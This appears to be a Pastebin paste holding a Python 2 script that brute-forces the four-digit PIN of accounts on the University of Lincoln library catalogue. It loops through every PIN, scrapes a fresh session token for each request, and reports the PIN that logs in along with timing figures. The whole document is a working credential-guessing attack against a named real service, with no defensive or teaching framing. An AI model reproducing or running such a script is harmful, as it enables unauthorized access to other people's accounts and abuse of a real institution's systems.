Advertisement
Guest User

Lincoln Pin-number Hack

a guest
Feb 12th, 2015
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.80 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import re, urllib
  4. import time
  5.  
  6. def get_middle_text(line, string_start, string_end):
  7.     temp = line.split(string_start)[1]
  8.     return temp.split(string_end)[0]
  9.  
  10. loggedIn = -1;
  11.  
  12. #pointless formatting
  13. print "\n\n\t\t// BRUTING THE LIBARRY \\\\\n\n"
  14.  
  15. #insert UID
  16. sid = raw_input("Enter >YOUR< ID: ") or "112    14462"
  17. count = 0
  18. cookie = ""
  19.  
  20. #insert StartPoint
  21. count = int(raw_input("Insert start position between 0-9998: "))
  22. if count < 0 or count > 9998:
  23.     print "invalid number (%i). Starting at 0000" % count
  24.     count = 0
  25.  
  26. count = count-1
  27.  
  28. searchType = int(raw_input("Search type 1 (Less CPU), 2 (Legacy): ")) or 2
  29.  
  30. if searchType != 1 and searchType != 2:
  31.     print "invalid number (%i). Legacy selected" % searchType
  32.     searchType = 2
  33.  
  34. startCount = count
  35. startTime = time.time()
  36.  
  37. while loggedIn == -1:
  38.     count = count + 1
  39.     page = urllib.urlopen("http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&auth=true").read()
  40.    
  41.     # Search type  
  42.     if searchType == 1:
  43.         cookie = page[945:963]
  44.         string = "http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&sec1=%s&sec2=%04d&menu=account&session=%s" % (sid, count, cookie)
  45.  
  46.     if searchType == 2:
  47.         cookie = re.search('session=(.*)&profile=', page)
  48.         string = "http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&sec1=%s&sec2=%04d&menu=account&session=%s" % (sid, count, cookie.group(1))
  49.        
  50.     page = urllib.urlopen(string).read()
  51.     loggedIn = page.find("// the date selector script//////////////////////////////////////")
  52.     print "Trying: %04d" % count
  53.  
  54. print "\n\n\tPin Number for %s successfully Found: %i" % (sid, count)
  55.  
  56. number = (time.time() - startTime)/(count-startCount)
  57. seconds = (time.time() - startTime)
  58. print "\n\tTaking %.02f seconds, (%f per Brute attempt).\n\n" % (seconds, number)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement